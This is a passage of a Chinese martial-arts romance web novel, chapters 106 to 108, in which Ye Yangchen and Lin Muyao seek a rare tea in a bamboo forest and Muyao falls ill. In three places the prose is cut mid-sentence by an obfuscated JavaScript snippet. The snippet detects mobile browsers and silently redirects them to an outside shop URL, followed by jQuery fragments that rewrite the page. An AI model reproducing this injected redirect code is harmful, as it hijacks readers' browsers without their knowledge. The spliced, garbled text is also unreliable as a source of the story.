话音落下,林诗怡的脸突兀红了起来,“谁是你弟妹啊?我才不会嫁给你这个木头弟弟呢!喜欢兵器都胜于我。” 叶清扬眉头随之紧了紧。 叶阳晨假装露出愁苦的面容,“弟啊,诗怡这是嫌弃你了,哥很同情你。不过你放心,哥不会看着你打光棍的,以后我给你介绍一个更好的女孩。” 林诗怡扁着嘴,气得晃动着肩膀,“阳晨哥,你欺负人,我去向我姐告状去。”说完林诗怡跑开了。 叶阳晨冲着霍玉笑了笑,“兄弟,我也算替你报仇了吧?” 霍玉腼腆一笑,他有点不习惯这样的聊天方式,或者说他在世界上从来没有亲密的朋友和兄长,自然也没有太多机会体会这种温情。 三个男人走出庙门,林诗怡用手一指,“姐,刚刚阳晨哥欺负我,你要替妹妹做主。” 林慕瑶娇笑问道:“那你说给姐姐听听,他是怎么欺负你的?” 林诗怡不好意思重复叶阳晨的话,嘟嘴撒娇道:“哎呀,姐你不要问啦,总之他就是很讨厌。” 慕瑶嫣然笑着,“我也觉得他很讨厌,但是你不说发生了什么要我怎么帮你呢?” 叶阳晨坏笑道:“慕瑶,你评评理,我说诗怡以后是我弟妹,她说她不嫁清扬,我就对清扬说,让他再找个心上人,我何罪之有啊?” 林慕瑶冲着诗怡浅笑柔声道:“你不嫁人家,还不让人家找别的女孩吗?” 被姐姐这么一说,林诗怡的脸顷刻间染上一抹绯红,一向伶牙俐齿的她少有落了下风,她气得轻轻跺脚,“姐,你是哪一边的啊?都不帮妹妹?”诗怡活泼开朗,只有面对男女问题时才会有些不知所措。 见诗怡躲在姐姐的背后,生着闷气,大家笑作一团。 看着一群少男少女幸福地谈着情爱的话题,霍玉有些不好意思,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221339|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要没有脱下僧袍,他还算是出家之人。但世间美好的事物都是相似的,都能触动人的心灵。不知为何,看到他们如此相亲相爱,霍玉有些感动。感动之余,他的脑海里却突然跳出温映雪的影子,挥之不去。 少时,霍玉回过神来,他连连在心里默念了很多声“阿弥陀佛”以表忏悔。 一阵疯闹之后,叶阳晨对叶清扬说道:“清扬,你带着霍玉和诗怡先去楚州,我和慕瑶随后就到。” 林诗怡瞪大了眼睛,“姐,你要去哪儿啊?你带着我好不好?” 林慕瑶的脸羞若云霞,“下次吧!” 林诗怡冷哼一声,“姐,有一天你被叶阳晨卖了还帮他数钱呢!” 叶阳晨调侃林诗怡,“你姐我才舍不得卖,要卖我也先卖你,让我弟把你卖到蒙古,然后生一堆娃去放羊。” 林诗怡眉头微蹙,“姐,你看阳晨哥啊!” 林慕瑶秋波盈盈望着叶阳晨,“好啦,你不要总逗她了。” 叶阳晨这才看着林诗怡说道:“看在你姐的份上就不跟你这丫头片子算账了。” 林诗怡也没有真的生气,只是很多次跟叶阳晨斗嘴,她都占不到便宜,有点小郁闷。而且林诗怡自己也发现了,自己之所以说不过叶阳晨,就是因为叶阳晨总是提到叶清扬,而叶清扬就是她的软肋。 下山的时候,林诗怡走在后面,叶清扬的步子也跟着慢了下来。见林诗怡不理自己,叶清扬问道:“诗怡,你是在不高兴吗?” “是啊!”林诗怡语气不善。 “那你因为什么不高兴呢?”清扬觉得女孩子就这点很麻烦,动不动就生气了,你不仅要哄他们,还要猜她们为什么生气了。 诗怡贵而不骄,又是阳光性格,属于那种不是特别爱生气的女孩。但清扬太笨了,不懂女孩家的心思,所以诗怡有时还是会很郁闷。 “每次阳晨哥都笑我。”诗怡喃喃说道。 “哥哥觉得你可爱才逗你的,还有哥哥就是喜欢开玩笑,他没有恶意的。” 林诗怡气得翻白眼,她当然知道叶阳晨没有恶意,“可我每次都说不过他,你也不帮我。” 叶清扬不知该怎么安慰林诗怡,略有窘态地说道:“说不过就说不过嘛。” 林诗怡嘟起小嘴,脸颊边的小梨涡清晰可见,“我不想跟你说,你简直就是块木头,还是块冷冰冰的木头。” 当晚,五个人就住在山脚下的那家客栈里。三个男的一间房,林家两姐妹住在另外一间房。 翌日清晨,林慕瑶很早就醒了,见身旁的妹妹还熟睡着,她不忍打扰,于是独自走出房间。巧的是,她看见叶阳晨已经站在客栈门外边。 看见林慕瑶,叶阳晨招了招手。 林慕瑶走了过去,声音娇媚,“做什么?”她边问边将自己手放入叶阳晨的手中。 叶阳晨笑道:“瑶儿,不如我们现在就出发吧?” 慕瑶错愕,“现在就走?我们不等他们起床后打个招呼再走吗?” 叶阳晨不以为然,“他们又不是小孩子,又不是不能自己照顾自己,我们等他们做什么?我们不要理他们这三个碍眼的家伙了。” 慕瑶浅笑着,“这样好吗?” “没什么不好的。”说着,叶阳晨横抱慕瑶上了马,随即他自己纵身一跳,稳稳地坐在了慕瑶的身后。 两人同乘一匹马,好似神仙眷侣一般去往泽清山。 106. 第一百六章 这些年难得有这样长时间与慕瑶独处的机会,叶阳晨也就没那么着急赶路。两人一路上走走停停,抱着游山玩水的心态慢慢溜达着。 这天,叶阳晨轻轻牵着缰绳,慢悠悠地骑着马,带着慕瑶行在林间的小路上。美人在怀,叶阳晨的手放在慕瑶的腰前,他从来没有觉得自己离幸福如此近过。 慕瑶轻声道:“阳晨,我们就这样回泽清山吗?” 叶阳晨莞尔一笑,“不这么回怎么回?” “我是说我已经多年没有回泽清山了,还是第一次见你师父,总要给爹娘和师父带点礼物啊!” “什么礼物?” 慕瑶语声婉柔,“总之就是不能空着手啊!” “要我说,其实不用的,我父母那么疼你,我师父师娘这次见到你也会特别开心的。就是你什么东西都不带,他们也不会介意的。真的,不骗你。”叶阳晨当然知道慕瑶的顾虑,所以他极力地劝说着。 慕瑶抿着嘴,“他们不介意,可我会觉得这样不好,不够有礼貌。”慕瑶是个礼数周全之人,且她现在是以叶阳晨的妻子身份回去,她不想让叶阳晨丢了面子,也不想给叶阳晨身边的亲人朋友一个不好的印象。 这次慕瑶决定回泽清山是临时起意的,况且若不是叶阳晨追到赤兰山,若不是他以出家相逼,恐怕她现在已经落发为尼了,所以慕瑶自然不会想到提前给叶阳晨的家人准备什么礼物。林慕瑶这会儿很犯难,临时准备礼物,只怕很难准备一份有心的礼物,但她又不想随随便便凑合。 在去泽清山的路上,已经没有大城镇了,若想指望在小乡村买到称心如意的礼物是不可能的了。何况慕瑶想过,泽清山就是一座“金山”,长风寨里什么珍奇异宝应有尽有,自己若不能选个有新意的礼物,感觉上这个见面礼就送得轻飘飘的。 不送是不行的,送的话又不知送什么好,这可真是个令人头疼的问题。礼物的事,慕瑶也想了两日了,只是没想到个好办法,这才想说出来跟叶阳晨商量一下。 见慕瑶坚持要送,叶阳晨思忖片刻,于是皱眉说道:“可我爹娘那里什么都不缺啊,我也不知道要送他们什么好的,你有什么好主意吗?” 慕瑶黛眉微蹙,忽然看见路的两边是一片竹林,顿时一个好主意冒了出来,“我终于想到送什么了。” “送什么?” “茶叶。” “茶叶?”听到这个答案,叶阳晨有点讶异,因为茶叶实在是太寻常的东西,泽清山要多少就有多少。即使是世上的顶级名茶,也自有父亲的朋友送来。而拿到那些好东西后,叶阳晨也总是会给师父拿去一些。 慕瑶会心一笑,“你有些笨呢,当然不是普通的茶叶啊。” “你说的不会是碧微沧澜吧?” “就是它。”慕瑶笑着点头,“我想着这里离下关竹海很近了,不妨去那里要些茶叶。” 下关竹海的入口位于中安郡的西南方向200里处,竹海面积有方圆500里。站在高处放眼望去,绿竹掩映,苍翠如海,其中更有奇峰、镜湖、流瀑等美景。下关竹海那里温暖湿润,土壤和阳光也极适合茶叶生长。得天独厚的地理条件造就了碧微沧澜这种极品名茶,而传说它也只在下关竹海那里生长。 叶阳晨听后还是摇了摇头,“瑶儿,传说碧微沧澜这茶是由下关竹海里的‘水茗无尘’大师种植。不过从来没人找到过水茗无尘,就连她是否还活着世上都不得而知。况且下关竹海那么大,我们要找到她,无异于大海捞针。” 叶阳晨所言非虚,世间的人只闻碧微沧澜茶名,却无缘品尝。 物以稀为贵,短缺必然带来无限商机,碧微沧澜在江湖上自有它的传说。后来很多骗子都说自己的茶是碧微沧澜,黑市上更是常常卖出天价。但是有点脑子的人都明白,即使碧微沧澜有在世面流通,也会是非常稀少的。懂茶的人甚至更清楚,碧微沧澜其实从来没有出现过。 时间一久,人们渐渐明白了,仅仅靠骗毕竟站不住脚,于是便有盗贼潜入下关竹海去寻找碧微沧澜,他们认为无论找到茶叶,还是找到种子,那都是巨大的成功。只是下关竹海的外围是烟瘴之地,对于一些鸡鸣狗盗之徒来说,走进去就是有去无回,而且下关竹海确实太大了,所以多少年来,始终无人真的找到过碧微沧澜,更没人见到过水茗无尘的真容。至于一些江湖高手,是不屑做这种偷鸡摸狗的事的。 见叶阳晨说了一大堆难处,慕瑶不疾不徐笑道:“怎么?打退堂鼓了?我们不去试试怎么知道呢?” “那里可是烟瘴之地,你我中毒了怎么办了?” 慕瑶嘴巴微微一翘,“你少吓我了,温狐的徒弟烟瘴的毒都解不了吗?有你陪着我,我怕什么?” “你真的要去?” “要去。” 听着慕瑶的语气,叶阳晨就知道慕瑶的犟脾气又上来了,“那好,那我就陪慕瑶小姐钻一回烟瘴林子。”叶阳晨骑着马,带着慕瑶走了南下的岔路。 越接近竹海,沿路的风景就越好,两人进入竹海后,更是满眼绿荫如盖,青翠入帘。竹林漫山遍野,他们的头顶再无骄阳烈日,脚下再无燥热窒闷,连空气中都带着轻甜的草木香气,清风徐来,沁人心脾。竹色溪下绿,就连透过竹叶洒下的阳光也格外亮眼。 慕瑶心旷神怡,就连脚步也较平日更轻快了些。两人大约走了一个时辰,慕瑶有些累了,就拉着叶阳晨坐下休息。 慕瑶语气轻快,“阳晨,我们不要当是去找碧微沧澜,就当是出来游玩,其实我们也难得有这样的机会的。” 难得见慕瑶这么开心,叶阳晨没有说话,只是冲着她宠溺地笑。 慕瑶一副娇媚的表情,“你笑什么?怎么?我说的不对吗?这地方这么幽静,像个世外桃源一般,而且你看,放眼望去,除了绿色还是绿色,处处充满生机和希望,待在这里,无论是静下来,还是散散步,都如饮甘泉、如沐春风。” 叶阳晨附和地点点头。 “阳晨,我喜欢绿竹的坚韧,更喜欢白兰的高洁,所以你就知道我多喜欢这里了吧?” 叶阳晨温暖笑着,“你喜欢就好,好了,我们可以继续走了。” 慕瑶温婉说道:“我走不动了,要不我们再坐一会儿吧?” 叶阳晨打趣道:“刚刚是谁说我们当成是游玩,还说散步也如沐春风的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233542|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么走这么一点就耍赖了?” “本来就是累了嘛。” 叶阳晨蹲在了慕瑶的面前,“好啦,我背你吧。” “我不是这个意思,我自己可以走的,只是要再休息一会儿。” “你是可以走,但你这样走不了多远又要坐下来休息,这样恐怕我们一个月也找不到你要的茶叶了。” 慕瑶娇媚地瞪了叶阳晨一眼,然后双臂绕在了他的脖颈间。叶阳晨这么一背,就没有怎么把慕瑶放下来过。慕瑶也觉得趴在叶阳晨很舒服,有时两人还说着话,她就睡着了。 第一日,叶阳晨就这样背着慕瑶在山里漫无方向地走着,别说找到水茗无尘,就是一个人影都没有看到。泽清山虽然也幽静,但是那里毕竟有山寨里的兄弟四处活动,也有山民和猎人居住,所以,只要不去非常偏僻的地方,还是可以偶尔碰到人的。 好在来之前叶阳晨已就有心里准备,预判找到水茗无尘没非易事,他也就一点不心急,索性就像慕瑶说的,就当来这里是出来游玩的。抱着这样的想法,两人倒也心里自在,饿了就吃点包裹里的干粮,渴了就喝点山间的清泉。 晚上,他们就躺在竹林里,慕瑶的头枕在叶阳晨的臂弯里,两人一起看着头顶的星空。慕瑶不时用手指着星空,给叶阳晨描绘着星星连接起来组成的图案,她讲得有声有色,他听得津津有味。 见慕瑶讲得那么认真,叶阳晨心里生出莫名的感动来,“瑶儿,你是从哪里知道这么多关于星座的事?” 慕瑶柔声道:“师父曾送我了一本《星天物语》的书,我把厚厚的一本书都看完了,那本书里面就有写的,真是一本好书呢。” 叶阳晨玩笑道:“师父还真偏心,有好东西都给你,也不给我。” 慕瑶嫣然一笑,“师父也觉得你不求上进、不思进取,所以才给我不给你的。” 叶阳晨借机打趣道:“师妹,不准这么跟你的师兄说话。” 两人同拜在古野门下,严格讲来,慕瑶理应唤叶阳晨一声师兄的。可林慕瑶不好意思,所以从来没这么叫过。慕瑶娇嗔着:“我只当着师父的面才会叫你师兄的。” 叶阳晨温声道:“不过我没跟你玩笑,师父最疼爱的就是你了。” 听叶阳晨那么说,慕瑶忽地有些伤感,“我当然知道啊,有的时候我真的很想他老人家。不过师父就是太贪玩了,总是见不到他的人。” “好啊,你敢说师父贪玩,下次我见到师父一定告诉他老人家。” “他本来就贪玩,不过不许你乱说。” 叶阳晨坏笑着,“我哪有乱说,你刚刚自己说的,我又没冤枉你。” “也不知道下次见他老人家是什么时候了。” 叶阳晨听出慕瑶的声音有些不对,连忙岔开话题,“等抽了空,我就陪你去看师父,好吗?” “好。”慕瑶有些哽咽地说出这个字,然后头又往叶阳晨怀里埋了埋。少时,她睡着了。 叶阳晨心里感慨着:“慕瑶也是极重感情的人,对她好的人,她都会记在心里,自己又何其幸运,才能在茫茫人海中遇到她。”带着幸福的滋味,叶阳晨也很快进入梦乡。 107. 第一百七章 翌日清晨,林慕瑶幸福地在叶阳晨的怀里醒来。这一夜,她睡得格外踏实,她隐约记得自己还做了一个香甜的梦,只是梦的内容睁眼后记不得了。 想来,慕瑶已经好久没有睡得这么好了。自从叶阳晨上了战场,慕瑶时常夜里失眠或惊醒,总担心自己的心上人在外有个闪失。后来她跑去玉林庵出家,为情所困,更是夜不能寐。而现在不同了,叶阳晨就待在自己身边,慕瑶的心是定的,是踏实的。 慕瑶抬眼见爱人熟睡着,脸上不由得浮现出浅浅的笑。这时,她忽然听见一声清脆的鸟叫。慕瑶抬起头,见是一只红头长尾山雀在枝头上叫着,欣悦之下,她在那儿逗着山雀玩。 少顷,叶阳晨醒来,他未睁眼便道:“瑶儿,你不好好睡觉,一直动来动去做什么?” “我睡饱了,在逗鸟玩。” 叶阳晨懒洋洋道:“逗它又什么好玩的,你再好好睡一会儿,听话。” “阳晨,挺好玩的,你睁眼看看,我们头顶的这只鸟真的很可爱的。” 以前诗怡曾打趣姐姐,说姐姐只要待在叶阳晨身边,就像个没长大的小女孩,而平日里没有叶阳晨在的时候,则是个端庄的木偶,毫无生气。 叶阳晨揽臂把慕瑶搂得更紧,“别管那些了,我还困得很,你也陪我一起。” 慕瑶幸福地笑着,“你不要搂得那么紧嘛,我快喘不过气来了。” 叶阳晨毫不理会,只是胳膊更加用力。 慕瑶的头深深埋在叶阳晨的颈窝中,娇嗔道:“你这坏人,我说的是真的,真的呼吸不了了。” 叶阳晨稍稍松了松胳膊,可慕瑶还是不能动弹分毫,索性她就静静地待在叶阳晨的怀里。闻着叶阳晨身上的味道,慕瑶不一会儿就真的睡着了。 那日,两人直到完全睡饱了,才又继续赶路,叶阳晨依旧背着慕瑶走。慕瑶平日缺乏锻炼,昨天走了那么久,她的小腿还有些酸胀,她也就没坚持要求自己走。不过慕瑶心里是有点不好意思的,来下关竹海是她的主意,也是她坚持要来的,结果几乎都被叶阳晨背着走。 叶阳晨一直背着慕瑶,固然是怕慕瑶累,但这不并是主要原因。 竹海山路崎岖,加之这里人烟稀少,几乎没有什么像样的路,叶阳晨最怕的是慕瑶自己爬山路而崴了脚。 慕瑶习惯了叶阳晨宠着自己,那种被自己所爱之人宠着的感觉是那么幸福。好在慕瑶是个知恩感恩的人,她把叶阳晨对她的这份爱牢牢记在心里。慕瑶心里装的都是叶阳晨,再也没有任何缝隙留给别人。小时候,慕瑶认为叶阳晨是个十足的粗人,却没想到他长大后那么会疼人。如今每每想到自己的爱人,慕瑶都觉得自己是找到宝了。 又这样走了两日,前面突然没了路,而是出现一条江。江对面依旧是茂密的竹林,显然下关竹海被这条江隔开了,或者说被这条江环绕。江水并不湍急,但江面宽阔、曲折蜿蜒,在周围翠竹的映衬下,江水远远望去犹如一块碧玉。 叶阳晨眺望四周,并不见江面上有桥。他知道要想过这条江,就要扎个竹筏了。叶阳晨怀里的匕首足够锋利,很快便砍下十几根粗壮的竹子。他将枝叶削掉,用绳子绑了起来。慕瑶还没坐过竹筏,便觉得新奇有趣,于是也在一旁帮叶阳晨的忙。 突然,慕瑶发出“哎呦”一声,叶阳晨心里一惊,连忙跑过去,“瑶儿,怎么了?” 慕瑶攥着手指,眉头蹙紧,“好像被什么扎到了。” 叶阳晨抢过慕瑶的手来看,见手指上果真扎了竹刺,好在扎得不深,毛刺也很小。可即使这样,叶阳晨还是心疼得无以复加,见慕瑶的食指出血了,他来不及多想,连忙俯头吸干慕瑶指腹上的血。叶阳晨边这么做边揪心道:“我说你在那儿休息等着我就好,可你非不听话,这回把自己弄伤了吧?” “人家不也是想帮帮你的忙嘛,你这个没良心的家伙还说人家?” “可我也是心疼你。”叶阳晨看着伤口,皱着眉道,“一会儿可能会有点疼,你忍一下,我把刺给你挑出来。” “那你轻点,你要是弄疼了我,我会气你的。”慕瑶的皮肤光滑细嫩,她自小就是最怕疼的。 叶阳晨噗嗤一笑,“你这么怕疼,刚刚为什么不乖一点?” 慕瑶扁着嘴,“你还笑,你这个人怎么一点同情心都没有?坏死了。” 叶阳晨不再与慕瑶逗笑,而是专心为慕瑶挑出手指中的刺,他掐紧慕瑶的食指,用力吮吸。过了好一会儿,刺终于被弄出来了。 叶阳晨批评中带着温柔,“这回你就不要乱动了,乖乖地坐在那儿等着我就好,这点活我一会儿就做完了,真的不用娘子亲自出马的。” 慕瑶乖巧地点点头。 叶阳晨没有说大话,果然,少时一个竹排扎好了。 慕瑶心里不禁讶然,原来阳晨会的东西还挺多的,可见以前对他的了解还是太表面了。 竹筏已经扎好了,可叶阳晨还在用匕首削竹子。 慕瑶讶异一问:“阳晨,不都做好了吗?你还在做什么?” 叶阳晨给慕瑶一个温暖的笑,“我再给你做个简易的小竹凳,这样一会儿你就可以坐在竹筏上,那样舒服些。” 慕瑶会心一笑,心中满是暖意,这些年她越来越懂叶阳晨,他这个家伙虽然什么都不愿多说,却始终愿意默默为自己做任何事。 大功告成,叶阳晨轻轻一脚,便将竹筏踢入水中,然后他扶着慕瑶上去。 叶阳晨用长长的竹竿一撑,竹筏缓缓离开岸边,在水流中缓行。两岸翠竹映眼,劲节凌云,头顶天空一碧如洗,脚下水流清澈见底,人坐在竹筏上欣赏如此美景,宛在画中游。 慕瑶悠闲地坐在小竹凳上,语气欢愉道:“阳晨,我还是第一次坐在竹筏上看风景呢。” “你要是喜欢,以后回泽清山,我也给你扎个竹筏,我们就在湖上划着玩,你想玩多久就玩多久。” “好啊!那你说话可要算数。”慕瑶答应得很快,好像生怕叶阳晨会反悔似的。 从前,慕瑶坐船的时候都很少,即使有坐船的机会,也是那种大船,那种感觉远不如坐在竹筏上的体验感好。因为在慕瑶看来,竹筏比船更亲近水面,也更加天然,水几乎就在自己的脚下流过。 慕瑶也不知自己为何那么喜欢水,她喜欢水的柔和,喜欢水的清澈,更喜欢水的意趣,还尤其喜欢泉水,她认为泉水的甘甜胜过世间一切佳酿。而慕瑶不知道的是,这种喜欢不是缘于今生,而是起于前世。 两人坐了半个时辰的竹排,终于到了岸边。叶阳晨把竹筏拴好,继续背起慕瑶赶路。 进竹海的前几天还好,谁知这一晚,竹海内竟下起瓢泼大雨。叶阳晨背着慕瑶走了好久,才找到一个山洞避雨,两人浑身早就被淋透了。进入山洞后,叶阳晨把慕瑶轻轻放下来,让她在草堆里坐着。 慕瑶满脸都挂着雨水,头发则湿成一缕一缕的,她怕叶阳晨累,轻声道:“阳晨,你也休息一下,不要再忙了。” “没事,我不累,我先把火生好,那样你就暖和了。” 看到叶阳晨在那儿忙来忙去的,慕瑶在一旁娇笑着,可只过了一会儿,她浑身开始打冷颤,而且越来越凶。山洞里没了雨也没有风,温度也比外面高一些,按理说慕瑶应该觉得舒服些了,可她就是觉得冷得厉害,而且开始浑身酸痛没劲,她实在支撑不住,便顺势躺了下去。 火折子淋湿了,叶阳晨弄了半天都没有生好火,他心急道:“瑶儿,你再忍忍,一会儿我这边就好了。” 火终于生好了,火烤在身上,慕瑶终于感觉到一丝暖意。 叶阳晨来到慕瑶身边,见慕瑶一直在咳嗽,他心急道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254491|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “瑶儿,你怎么了?” 慕瑶轻轻摇头,“没事,我就是淋了点雨,没什么好担心的。” 叶阳晨犹豫道:“瑶儿,你把衣服脱下来,我帮你烤烤,你这样穿着湿衣服会染风寒的。” 慕瑶嘴角浮现一抹浅浅的笑,“我不要,我不给你看。” “我什么都不看,只是帮你烤烤衣服。” “我不信,你每次嘴上都说不看,最后身子还是被你看了个遍。” 叶阳晨坏笑着:“你是我的媳妇,看一看有什么关系?” 每次叶阳晨这么说,慕瑶都无力反驳,但是两人只要一天没突破那层关系,她还是不习惯将自己的玉体呈现在叶阳晨面前。 慕瑶微微嘟起嘴巴,叶阳晨商量道:“你乖一点,如果你穿着湿衣服而染了风寒就糟了。” 见慕瑶不说话,叶阳晨扶着她坐起来,然后帮着她轻解衣衫。慕瑶也没再拒绝,她也知道不能一直将湿衣服穿在身上,而且她心里其实并不很介意被叶阳晨看了身子,被叶阳晨看过太多次了,她也习惯了。只是女孩子出于矜持,难免有些害臊、难为情罢了。 慕瑶的衣衫尽褪,叶阳晨还是被眼前的旖旎春光迷住了,他不知该怎么按捺住心中的滚滚热血,也不知该如何压下心里的原始冲动。他想要了慕瑶,这种想法在此刻很强烈,而且一遍又一遍地在脑海中闪现。叶阳晨也在怪自己说话“不算数”,刚刚还一脸正气地说是帮人家烤衣服,这会儿又心猿意马、神不守舍的。 慕瑶见叶阳晨把自己的衣服抱在怀里却不动弹,两只眼睛还直勾勾地盯着自己,她把双手挡在胸前,羞着玉颜道:“你别看了,你不是要帮我烤衣服吗?又说话不算数了。” 叶阳晨踌躇片刻,终于嗫嚅道:“慕瑶,你还记不记得我在上楚州战场前,你答应过我什么?” 慕瑶轻抿下唇,“答应过什么?我不记得了。” “你说我从战场回来,就把自己给我。” 慕瑶的脸热得滚烫,“我说过吗?不记得的事就…不作数的。” 叶阳晨急得眉头紧皱,“你这丫头怎么忘性这么大呢?就是我出征去楚州前,我们在你的闺房,若不是清扬这小子敲门坏了我的好事,我早就……”说说到一半,见慕瑶含羞带笑的样子,他才知道自己上当了,“好啊,你敢骗你夫君?你没有忘,对不对?”叶阳晨边说边将慕瑶压在身下。 慕瑶仍把手挡在胸前,娇声道:“我哪有骗你啊?” 两人随着鼻息逼近,胸腔急剧起伏,周遭也被热浪紧紧包围。 见叶阳晨痴痴地凝视着自己,慕瑶柔声蜜语,“终于忍不住了?” “嗯,我这个有媳妇的人,却一直做着和尚。” 慕瑶语笑嫣然,“你可真没出息,还不是早晚是你的。” 叶阳晨咧嘴一笑,“我在你面前还要什么出息啊?” 慕瑶咬住下唇,眼睫微垂,算是默认。 见慕瑶不说话,叶阳晨心里没底,追问道:“可以吗?”他心里知道,只要自己想要,慕瑶不会拒绝自己的,只是出于尊重,叶阳晨还是不想慕瑶有丝毫的勉强。 “你…这种事你问女孩子,让我怎么答啊?”林慕瑶能感觉出来自己的耳根热得不行,她心里嘀咕着:“这个人坏死了,又想要,胆子又那么小,还要问我意见,让我主动说出来。真是猪头,这种事怎么可能由女孩子主动。” 叶阳晨在这一刻脑子有些短路,不知慕瑶的话是什么意思,于是怔在那里。 慕瑶噗嗤一笑,“真是笨笨,你想做什么就…我又没拦着你。”她的声音压得很低,轻得几乎听不见。 话音一落,叶阳晨展颜,连忙将自己身上的湿衣服脱下来,然后紧紧抱住了慕瑶。 那份火热即将被点燃,一切来得那么突然,又是那么顺理成章。 108. 第一百八章 寻草药自找无觅处 美人在怀,风华如玉,叶阳晨正准备一亲芳泽,突然察觉出怀里的慕瑶浑身滚烫,好像自己抱着的是个火炉。他一时慌了神,胸口处也好像被什么突然撞击了一下,他连忙去摸慕瑶的额头,竟然比身上还要热,“瑶儿,你这时染了热病了?你怎么不与我说呢?有没有很不舒服? 林慕瑶嘴角微勾,浅浅一笑,“兴许是刚才淋雨弄的,不妨事的。” “怎么会没事?你快告诉我,你现在感觉怎么样?”叶阳晨问话的语气异常紧张而急促。 慕瑶淡淡说道:“别担心,也别惦记,真的不严重的,我就是有点冷,浑身没劲。”其实她已经很难受了,只是怕叶阳晨担心,才故意说得避重就轻的。 见刚刚叶阳晨那双“不老实”的手也停住了,慕瑶不忍心扫了叶阳晨的兴,于是说道:“你刚才还不是猴急似的...现在怎么了?” 叶阳晨当然明白慕瑶的话里所指,但慕瑶此时身体虚弱成这样,他怎会还有鱼水相欢的兴致呢。叶阳晨苦笑着,“瑶儿,你莫取笑我了,你现在病得这么厉害,我怎么可能还‘欺负’你呢?”叶阳晨怕慕瑶冷,依旧用双臂抱紧她,只是心里已经完全没了杂念。 慕瑶欲说还休,继续笑着逗叶阳晨:“可你这样抱着我...你确定能忍得住吗?” 见慕瑶还能与自己玩笑,叶阳晨的担心稍稍少了几分,他苦笑着,“是有点难以克制,但是我还能忍住。” 慕瑶娇笑道:“你还是那么没出息。”虽然她嘴上打趣着心爱之人,但其实心里又被叶阳晨暖到了。天底下有多少男人色欲熏心,又有多少男人视女人如玩物,可叶阳晨却是这样爱惜自己,疼爱自己,她怎么可能不感动。那一刻慕瑶感觉自己的心像是浸在融化的蜜糖里,真是又暖又甜的。 慕瑶思忖片刻后继续说道:“我身体没事,如果你还是...想的话...你就......”她已经特别爱叶阳晨了,所以为自己所爱之人做任何事,慕瑶都心甘情愿。 叶阳晨帮慕瑶温柔地理顺刘海和鬓发,“你别多想了,我没想那事了。”此时,叶阳晨根本没心情继续与慕瑶说笑,他满脑子担心的都是慕瑶的病情。 当日,慕瑶离家出走,叶阳晨急着出门去找寻她,故而没有带药箱出来,这会儿身上只有一瓶特制的金疮药。习武之人常在江湖走,为防受伤,这种药肯定是随身备着的。 叶阳晨想了想,还是给慕瑶喂下一颗。这金疮药本是止血愈伤的,与慕瑶的病不太对症,但药的成份里有祛热止痛的东西,虽说治标不治本,但多少能缓解她身体上的不舒服,服下它后至少可以让慕瑶今夜睡个好觉。 叶阳晨抱着慕瑶翻了个身,让她趴在自己身上,这样她舒服一些。叶阳晨温声道:“瑶儿,你刚刚吃了药,一会儿药起效了你就会舒服些了,你就好好睡一觉,明日我给你采些草药吃,你的病很快就会好了。”天这么黑,慕瑶又发着热,叶阳晨实在不敢离开半步,所以一切都要等到天亮再说。 慕瑶轻声答应着:“嗯,你也好好睡吧,别担心我了。只有你养好精神我们明天才好赶路的。我生了病,估计明天又要你背着我走了。” 慕瑶生病时说话更是娇滴滴的,叶阳晨听在耳朵里觉得甚是可爱,他温柔道:“我喜欢背着你。” “阳晨...你真好......”慕瑶嘴里呢喃着,说完这句话就迷迷糊糊睡着了。 慕瑶前半夜睡得还好,后半夜她嘴里一直说着呓语,整个人完全陷入昏迷的状态。叶阳晨担心得几乎没有合眼,他抱着慕瑶,分明能感觉到前半夜她的身子越来越烫,到了后半夜才有些好转。两人就这样过了一夜,总算熬到天明,慕瑶还在昏睡着,怎么都叫不醒。 叶阳晨走出山洞,想去给慕瑶找些对症的草药,可他四周附近找了找,并没有发现任何药草。别说慕瑶现在病着,即使慕瑶身体是健康着,叶阳晨也不敢把慕瑶丢下走得太远,万一这个间隙山洞来了歹人,后果不堪设想。 担心之下,叶阳晨只好又返回了山洞,这时慕瑶已经醒了。叶阳晨温柔问道:“瑶儿,怎么样?很难受,是不是?” “有点。”慕瑶实在是太难受了,也就不想再瞒着爱人了,她哑着嗓子低声问道,“阳晨,你刚才去哪儿了?我有点害怕。” 听到慕瑶因生病嗓音都变了,叶阳晨的心还是狠狠地疼了一下,“别怕,我刚刚没走远的,就在山洞外。我刚才想出去给你找草药,但是附近没有,我就回来了。瑶儿,我们现在就只有先离开这儿继续赶路了。” “哦,好的,我都听你的。”慕瑶沉声道。 叶阳晨背起慕瑶赶路,他想着说不定路上会遇到草药。 